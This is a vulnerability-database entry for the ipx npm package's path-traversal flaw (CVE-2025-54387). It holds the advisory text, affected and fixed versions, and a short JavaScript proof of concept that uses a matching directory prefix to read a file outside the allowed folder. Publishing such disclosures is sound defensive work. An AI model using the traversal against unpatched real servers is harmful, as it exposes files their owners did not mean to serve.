ghsa-mm3p-j368-7jcr
Vulnerability from github
Summary
The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.
PoC
-
setup
mkdir ~/public123 move a png file under ~/public123 with name test.png cd npm i ipx -
main.js```js import { createIPX, ipxFSStorage } from "ipx";
const ipx = createIPX({ storage: ipxFSStorage({ dir: "./public" }), });
(async () => { { const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder const { data, format } = await source.process(); console.log(format) // print image data } { try { const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same const { data, format } = await source.process(); console.log(data) } catch (err) { console.log(err.message) // Forbidden path: }
}
})() ```
node main.jspng Forbidden path: /../publi123/test.png
Impact
Path Traversal
Possible Fix
Check if the dir ends with / (path separator) and if not, add before calling startsWith
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ipx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "ipx"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-0"
},
{
"fixed": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "ipx"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54387"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-04T14:48:25Z",
"nvd_published_at": "2025-08-05T01:15:41Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.\n\n\n### PoC\n\n- setup\n```\nmkdir ~/public123\nmove a png file under ~/public123 with name test.png\ncd\nnpm i ipx \n```\n\n- `main.js`\n```js\nimport { createIPX, ipxFSStorage } from \"ipx\";\n\nconst ipx = createIPX({\n storage: ipxFSStorage({ dir: \"./public\" }),\n});\n\n\n(async () =\u003e { \n {\n const source = await ipx(\"../public123/test.png\"); // access file outside ./public dir because of same prefix folder\n const { data, format } = await source.process();\n console.log(format) // print image data\n }\n {\n try {\n const source = await ipx(\"../publi123/test.png\"); // forbidden path: the prefix is not the same\n const { data, format } = await source.process();\n console.log(data)\n } catch (err) {\n console.log(err.message) // Forbidden path:\n }\n\n }\n\n})()\n```\n\n- `node main.js`\n```\npng\nForbidden path: /../publi123/test.png\n```\n\n### Impact\nPath Traversal\n\n### Possible Fix\n\nCheck if the `dir` ends with `/` (path separator) and if not, add before calling `startsWith`",
"id": "GHSA-mm3p-j368-7jcr",
"modified": "2025-08-05T17:10:13Z",
"published": "2025-08-04T14:48:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/unjs/ipx/security/advisories/GHSA-mm3p-j368-7jcr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54387"
},
{
"type": "WEB",
"url": "https://github.com/unjs/ipx/commit/81693ddbfc062cc922e4e2406e8427ab4e3ad214"
},
{
"type": "PACKAGE",
"url": "https://github.com/unjs/ipx"
},
{
"type": "WEB",
"url": "https://github.com/unjs/ipx/releases/tag/v1.3.2"
},
{
"type": "WEB",
"url": "https://github.com/unjs/ipx/releases/tag/v2.1.1"
},
{
"type": "WEB",
"url": "https://github.com/unjs/ipx/releases/tag/v3.1.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "IPX Allows Path Traversal via Prefix Matching Bypass"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.